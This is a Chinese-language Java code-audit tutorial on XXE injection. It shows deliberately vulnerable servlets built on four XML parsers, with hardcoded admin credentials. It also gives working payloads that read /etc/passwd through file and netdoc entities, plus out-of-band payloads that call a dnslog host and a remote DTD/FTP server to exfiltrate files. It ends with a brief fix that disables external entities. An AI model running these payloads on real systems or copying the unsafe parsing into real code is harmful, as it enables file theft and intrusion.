Loading

Java代码审计-XXE

一、XXE漏洞简介

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。
Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

二、XXE相关基础概念

1、XML:(可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。
2、DTD:(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
3、实体ENTITY:XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。

三、java XXE审计函数

1、XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

2、解析XML的方法越来越多,java中常见有四种,即:DOMDOM4JJDOM SAX。下面以这四种为例展示java的XXE漏洞。

package com.example.xxe;

import jdk.internal.org.xml.sax.SAXException;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;

@WebServlet("/xxe1")
public class xxe1Servlet extends HttpServlet {
    // 预设账号
    private static final String USERNAME = "admin";
    // 预设密码
    private static final String PASSWORD = "admin";

    // 处理POST请求
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String result = "";
        try {
            // 使用DOM解析XML
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            Document doc = db.parse(request.getInputStream());
            // 从XML文档中获取用户名和密码
            String username = getValueByTagName(doc, "username");
            String password = getValueByTagName(doc, "password");
            // 检查用户名和密码是否匹配
            if (username.equals(USERNAME) && password.equals(PASSWORD)) {
                result = String.format("<result><code>%d</code><msg>%s</msg></result>", 1, username);
            } else {
                result = String.format("<result><code>%d</code><msg>%s</msg></result>", 0, username);
            }
        } catch (ParserConfigurationException | org.xml.sax.SAXException e) {
            e.printStackTrace();
            // 处理XML解析异常
            result = String.format("<result><code>%d</code><msg>%s</msg></result>", 3, e.getMessage());
        }
        // 设置响应内容类型为XML
        response.setContentType("text/xml;charset=UTF-8");
        // 将结果发送回客户端
        response.getWriter().append(result);
    }

    // 处理GET请求
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 将GET请求交给doPost处理
        doPost(request, response);
    }

    /**
     * 根据标签名获取对应的值
     *
     * @param doc     XML文档
     * @param tagName 标签名
     * @return 标签值
     */
    public static String getValueByTagName(Document doc, String tagName) {
        // 如果文档为空或标签名为空,则返回空字符串
        if (doc == null || tagName.equals(null)) {
            return "";
        }
        // 获取文档中所有指定标签的节点
        NodeList nodeList = doc.getElementsByTagName(tagName);
        // 如果节点列表不为空且长度大于0,则返回第一个节点的文本内容
        if (nodeList != null && nodeList.getLength() > 0) {
            return nodeList.item(0).getTextContent();
        }
        // 如果未找到指定标签,则返回空字符串
        return "";
    }
}

DocumentBuilderFactory.newInstance(): 这是一个工厂类方法,用于获取一个 DocumentBuilderFactory 实例,该实例用于创建 DOM 解析器的实例。

DocumentBuilder db = dbf.newDocumentBuilder(): 使用上一步获取的 DocumentBuilderFactory 实例创建一个 DocumentBuilder 实例。DocumentBuilder 是用于解析 XML 文档的类。

Document doc = db.parse(request.getInputStream()): 使用上一步创建的 DocumentBuilder 实例解析通过 request.getInputStream() 获取到的 XML 文档。这个 XML 文档是通过 HTTP POST 请求的输入流传递进来的。
package com.example;


import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.w3c.dom.NodeList;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.util.Iterator;

@WebServlet("/xxe2")
public class xxe2Servlet extends HttpServlet {
    private static final long serialVersionUID = 1L;

    private static final String USERNAME = "admin";//账号
    private static final String PASSWORD = "admin";//密码

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        String result="";
        try {
            //DOM4J Read XML
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(request.getInputStream());

            String username = getValueByTagName2(document,"username");
            String password = getValueByTagName2(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }

        } catch (DocumentException e) {
            System.out.println(e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doPost(request, response);
    }


    /**
     *
     * @param doc 文档
     * @param tagName 标签名
     * @return 标签值
     */
    public static String getValueByTagName2(Document document, String tagName){

        if(document == null || tagName.equals(null)){
            return "";
        }

        Element root = document.getRootElement();

        for (Iterator<Element> it = root.elementIterator(); it.hasNext();) {
            Element myuser = (Element) it.next();

            if(myuser.getName().equals(tagName)){
                System.out.println(myuser.getName() + ":" + myuser.getText());
                System.out.println("**********");
                return myuser.getText();
            }
        }

        return "";
    }
}

其他代码
JDOM2 Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {             
    String result="";
    try {
        //JDOM2 Read XML    
        SAXBuilder builder = new SAXBuilder();  
        Document document = builder.build(request.getInputStream());

        String username = getValueByTagName3(document,"username");
        String password = getValueByTagName3(document,"password");

        if(username.equals(USERNAME) && password.equals(PASSWORD)){
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
        }else{
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
        }

    } catch (JDOMException  e) {
        System.out.println(e.getMessage());
    } 
    response.setContentType("text/xml;charset=UTF-8");
    response.getWriter().append(result);
}

SAX Read XML


protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
    //https://blog.csdn.net/u011024652/article/details/51516220
    String result="";
    try {
        //SAX Read XML
        SAXParserFactory factory  = SAXParserFactory.newInstance(); 
        SAXParser saxparser = factory.newSAXParser();  
        SAXHandler handler = new SAXHandler();  
        saxparser.parse(request.getInputStream(), handler);
        //为简单,没有提取子元素中的数据,只要调用parse()解析xml就已经触发xxe漏洞了
        //没有回显  blind xxe
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);

    } catch (ParserConfigurationException e) {
        e.printStackTrace();
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
    } catch (SAXException e) {
        e.printStackTrace();
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
    }
    response.setContentType("text/xml;charset=UTF-8");
    response.getWriter().append(result);
}

四、xxe漏洞利用

XXE

回显

使用file协议读取 file:///etc/passwd内容

POST /xxe1 HTTP/1.1
Host: 192.168.48.118:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Pragma: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<note time="2022.01.23" >
<user>
<username>&b;</username>
<password>123456</password>
</user>
</note>

netdoc协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">
]> 
<user><username>&xxe;</username><password>123456</password></user>

无回显

xxe dnslog 利用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "http://h00cjx.dnslog.cn">
]> 
<user><username>&xxe;</username><password>123456</password></user>

CleanShot 2024-01-29 at 15.43.30.png

ftp无回显读取

jdk<7u141/jdk<8u162

在使用ftp 进行 oob 时,对jdk版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件

可以使用ftp协议 返回要读取的内容

python2 xxe-ftp-server.py 192.168.10.165 82 2121

客户端提交

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.10.165:82/data.dtd"> %dtd;
]>
<data>&send;</data>

CleanShot 2024-01-29 at 15.43.47.png

五、防御

想要防御java的XXE漏洞,一般采取禁用外部实体的方式,代码如下

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
posted @ 2024-01-29 15:45  Reoki  阅读(84)  评论(0)    收藏  举报